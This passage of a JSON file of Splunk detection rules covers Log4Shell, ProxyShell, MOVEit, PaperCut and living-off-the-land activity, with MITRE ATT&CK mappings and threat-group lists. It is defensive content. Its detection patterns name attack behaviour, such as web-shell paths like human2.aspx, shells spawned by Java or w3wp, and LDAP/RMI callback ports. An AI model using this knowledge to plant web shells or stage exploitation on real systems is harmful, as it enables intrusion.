40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Living Off The Land Detection", - "description": "The following correlation identifies multiple risk events associated with the \"Living Off The Land\" analytic story, indicating potentially suspicious behavior. It leverages the Risk data model to aggregate and correlate events tagged under this story, focusing on systems with a high count of distinct sources. This activity is significant as it often involves the use of legitimate tools for malicious purposes, making detection challenging. If confirmed malicious, this behavior could allow attackers to execute code, escalate privileges, or persist within the environment using trusted system utilities.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime sum(All_Risk.calculated_risk_score) as risk_score, count(All_Risk.calculated_risk_score) as risk_event_count, values(All_Risk.annotations.mitre_attack.mitre_tactic_id) as annotations.mitre_attack.mitre_tactic_id, dc(All_Risk.annotations.mitre_attack.mitre_tactic_id) as mitre_tactic_id_count, values(All_Risk.annotations.mitre_attack.mitre_technique_id) as annotations.mitre_attack.mitre_technique_id, dc(All_Risk.annotations.mitre_attack.mitre_technique_id) as mitre_technique_id_count, values(All_Risk.tag) as tag, values(source) as source, dc(source) as source_count from datamodel=Risk.All_Risk where All_Risk.analyticstories=\"Living Off The Land\" All_Risk.risk_object_type=\"system\" by All_Risk.risk_object All_Risk.risk_object_type All_Risk.annotations.mitre_attack.mitre_tactic | `drop_dm_object_name(All_Risk)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where source_count >= 5 | `living_off_the_land_detection_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control", - "Delivery", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "risk_object", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An increase of Living Off The Land behavior has been detected on $risk_object$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1105", - "mitre_attack_technique": "Ingress Tool Transfer", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "Aquatic Panda", - "BITTER", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "Darkhotel", - "Dragonfly", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN13", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "IndigoZebra", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Metador", - "Molerats", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "Rancor", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Turla", - "Volatile Cedar", - "WIRTE", - "Whitefly", - "Windshift", - "Winnti Group", - "Wizard Spider", - "ZIRCONIUM", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Log4Shell CVE-2021-44228 Exploitation", - "description": "The following analytic identifies potential exploitation of Log4Shell CVE-2021-44228 by correlating multiple MITRE ATT&CK tactics detected in risk events. It leverages Splunk's risk data model to calculate the distinct count of MITRE ATT&CK tactics from Log4Shell-related detections. This activity is significant because it indicates a high probability of exploitation if two or more distinct tactics are observed. If confirmed malicious, this activity could lead to initial payload delivery, callback to a malicious server, and post-exploitation activities, potentially resulting in unauthorized access, lateral movement, and further compromise of the affected systems.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime sum(All_Risk.calculated_risk_score) as risk_score, count(All_Risk.calculated_risk_score) as risk_event_count, values(All_Risk.annotations.mitre_attack.mitre_tactic_id) as annotations.mitre_attack.mitre_tactic_id, dc(All_Risk.annotations.mitre_attack.mitre_tactic_id) as mitre_tactic_id_count, values(All_Risk.annotations.mitre_attack.mitre_technique_id) as annotations.mitre_attack.mitre_technique_id, dc(All_Risk.annotations.mitre_attack.mitre_technique_id) as mitre_technique_id_count, values(All_Risk.tag) as tag, values(source) as source, dc(source) as source_count from datamodel=Risk.All_Risk where All_Risk.analyticstories=\"Log4Shell CVE-2021-44228\" All_Risk.risk_object_type=\"system\" by All_Risk.risk_object All_Risk.risk_object_type All_Risk.annotations.mitre_attack.mitre_tactic | `drop_dm_object_name(All_Risk)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where source_count >= 2 | `log4shell_cve_2021_44228_exploitation_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-320A", - "Log4Shell CVE-2021-44228" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control", - "Delivery", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "risk_object", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Log4Shell Exploitation detected against $risk_object$.", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1105", - "mitre_attack_technique": "Ingress Tool Transfer", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "Aquatic Panda", - "BITTER", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "Darkhotel", - "Dragonfly", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN13", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "IndigoZebra", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Metador", - "Molerats", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "Rancor", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Turla", - "Volatile Cedar", - "WIRTE", - "Whitefly", - "Windshift", - "Winnti Group", - "Wizard Spider", - "ZIRCONIUM", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "MS Exchange Mailbox Replication service writing Active Server Pages", - "description": "The following analytic identifies the creation of suspicious .aspx files in specific directories associated with Exchange exploitation by the HAFNIUM group and the ProxyShell vulnerability. It detects this activity by monitoring the MSExchangeMailboxReplication.exe process, which typically does not write .aspx files. This behavior is significant as it may indicate an active exploitation attempt on Exchange servers. If confirmed malicious, attackers could gain unauthorized access, execute arbitrary code, or maintain persistence within the environment. Immediate investigation and remediation are crucial to prevent further compromise.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes where Processes.process_name=MSExchangeMailboxReplication.exe by _time span=1h Processes.process_id Processes.process_name Processes.process_guid Processes.dest | `drop_dm_object_name(Processes)` | join process_guid, _time [| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.file_path IN (\"*\\\\HttpProxy\\\\owa\\\\auth\\\\*\", \"*\\\\inetpub\\\\wwwroot\\\\aspnet_client\\\\*\", \"*\\\\HttpProxy\\\\OAB\\\\*\") Filesystem.file_name=\"*.aspx\" by _time span=1h Filesystem.dest Filesystem.file_create_time Filesystem.file_name Filesystem.file_path | `drop_dm_object_name(Filesystem)` | fields _time dest file_create_time file_name file_path process_name process_path process process_guid] | dedup file_create_time | table dest file_create_time, file_name, file_path, process_name | `ms_exchange_mailbox_replication_service_writing_active_server_pages_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "ProxyShell", - "Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File Name", - "role": [ - "Victim" - ] - } - ], - "message": "A file - $file_name$ was written to disk that is related to IIS exploitation related to ProxyShell. Review further file modifications on endpoint $dest$ by user $user$.", - "risk_score": 81, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1505", - "mitre_attack_technique": "Server Software Component", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1505.003", - "mitre_attack_technique": "Web Shell", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT38", - "APT39", - "APT5", - "BackdoorDiplomacy", - "Deep Panda", - "Dragonfly", - "FIN13", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "Kimsuky", - "Leviathan", - "Magic Hound", - "Moses Staff", - "OilRig", - "Sandworm Team", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Volatile Cedar", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Outbound Network Connection from Java Using Default Ports", - "description": "The following analytic detects outbound network connections from Java processes to default ports used by LDAP and RMI protocols, which may indicate exploitation of the CVE-2021-44228-Log4j vulnerability. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and network traffic logs. Monitoring this activity is crucial as it can signify an attacker\u2019s attempt to perform JNDI lookups and retrieve malicious payloads. If confirmed malicious, this activity could lead to remote code execution and further compromise of the affected server.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes where (Processes.process_name=\"java.exe\" OR Processes.process_name=javaw.exe OR Processes.process_name=javaw.exe) by _time Processes.process_id Processes.process_name Processes.dest Processes.process_path Processes.process Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | join process_id [| tstats `security_content_summariesonly` count FROM datamodel=Network_Traffic.All_Traffic where (All_Traffic.dest_port= 389 OR All_Traffic.dest_port= 636 OR All_Traffic.dest_port = 1389 OR All_Traffic.dest_port = 1099 ) by All_Traffic.process_id All_Traffic.dest All_Traffic.dest_port | `drop_dm_object_name(All_Traffic)` | rename dest as connection_to_CNC] | table _time dest parent_process_name process_name process_path process connection_to_CNC dest_port| `outbound_network_connection_from_java_using_default_ports_filter`", - "tags": { - "analytic_story": [ - "Log4Shell CVE-2021-44228" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Java performed outbound connections to default ports of LDAP or RMI on $dest$", - "risk_score": 54, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "PaperCut NG Suspicious Behavior Debug Log", - "description": "The following analytic identifies potential exploitation attempts on a PaperCut NG server by analyzing its debug log data. It detects unauthorized or suspicious access attempts from public IP addresses and searches for specific URIs associated with known exploits. The detection leverages regex to parse unstructured log data, focusing on admin login activities. This activity is significant as it can indicate an active exploitation attempt on the server. If confirmed malicious, attackers could gain unauthorized access, potentially leading to data breaches or further compromise of the server.", - "search": "`papercutng` (loginType=Admin OR userName=admin) | eval uri_match=if(match(_raw, \"(?i)(\\/app\\?service=page\\/SetupCompleted|\\/app|\\/app\\?service=page\\/PrinterList|\\/app\\?service=direct\\/1\\/PrinterList\\/selectPrinter&sp=l1001|\\/app\\?service=direct\\/1\\/PrinterDetails\\/printerOptionsTab\\.tab)\"), \"URI matches\", null()) | eval ip_match=if(match(_raw, \"(?i)((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))\") AND NOT match(_raw, \"(?i)(10\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))|(172\\.(1[6-9]|2[0-9]|3[0-1])\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))|(192\\.168\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))\"), \"IP matches\", null()) | where (isnotnull(uri_match) OR isnotnull(ip_match)) | stats sparkline, count, values(uri_match) AS uri_match, values(ip_match) AS ip_match latest(_raw) BY host, index, sourcetype | `papercut_ng_suspicious_behavior_debug_log_filter`", - "tags": { - "analytic_story": [ - "PaperCut MF NG Vulnerability" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "host", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Behavior related to exploitation of PaperCut NG has been identified on $host$.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Java Spawning Shells", - "description": "The following analytic identifies instances where java.exe or w3wp.exe spawns a Windows shell, such as cmd.exe or powershell.exe. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and parent process relationships. This activity is significant as it may indicate exploitation attempts, such as those related to CVE-2021-44228 (Log4Shell). If confirmed malicious, attackers could execute arbitrary commands, potentially leading to system compromise, data exfiltration, or further lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=java.exe OR Processes.parent_process_name=w3wp.exe `windows_shells` by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_java_spawning_shells_filter`", - "tags": { - "analytic_story": [ - "Log4Shell CVE-2021-44228", - "SysAid On-Prem Software CVE-2023-47246 Vulnerability" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ spawning a Windows shell, potentially indicative of exploitation.", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows MOVEit Transfer Writing ASPX", - "description": "The following analytic detects the creation of new ASPX files in the MOVEit Transfer application's \"wwwroot\" directory. It leverages endpoint data on process and filesystem activity to identify processes responsible for creating these files. This activity is significant as it may indicate exploitation of a critical zero-day vulnerability in MOVEit Transfer, used by threat actors to install malicious ASPX files. If confirmed malicious, this could lead to exfiltration of sensitive data, including user credentials and file metadata, posing a severe risk to the organization's security.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes where Processes.process_name=System by _time span=1h Processes.process_id Processes.process_name Processes.dest | `drop_dm_object_name(Processes)` | join process_guid, _time [| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.file_path IN (\"*\\\\MOVEitTransfer\\\\wwwroot\\\\*\") Filesystem.file_name IN(\"*.aspx\", \"*.ashx\", \"*.asp*\") OR Filesystem.file_name IN (\"human2.aspx\",\"_human2.aspx\") by _time span=1h Filesystem.dest Filesystem.file_create_time Filesystem.file_name Filesystem.file_path | `drop_dm_object_name(Filesystem)` | fields _time dest file_create_time file_name file_path process_name process_path process] | dedup file_create_time | table dest file_create_time, file_name, file_path, process_name | `windows_moveit_transfer_writing_aspx_filter`", - "tags": { - "analytic_story": [ - "MOVEit Transfer Critical Vulnerability" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "The MOVEit application on $dest$ has written a new ASPX file to disk.", - "risk_score": 100, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows PaperCut NG Spawn Shell", - "description": "The following analytic detects instances where the PaperCut NG application (pc-app.exe) spawns a Windows shell, such as cmd.exe or PowerShell. This behavior is identified using Endpoint Detection and Response (EDR) telemetry, focusing on process creation events where the parent process is pc-app.exe. This activity is significant as it may indicate an attacker attempting to gain unauthorized access or execute malicious commands on the system. If confirmed malicious, this could lead to unauthorized code execution, privilege escalation, or further compromise of the affected environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=pc-app.exe `process_cmd` OR `process_powershell` OR Processes.process_name=java.exe by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_papercut_ng_spawn_shell_filter`", - "tags": { - "analytic_story": [ - "PaperCut MF NG Vulnerability" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "The PaperCut NG application has spawned a shell $process_name$ on endpoint $dest$ by $user$.", - "risk_score": 90, - "security_domain": "endpoint", - 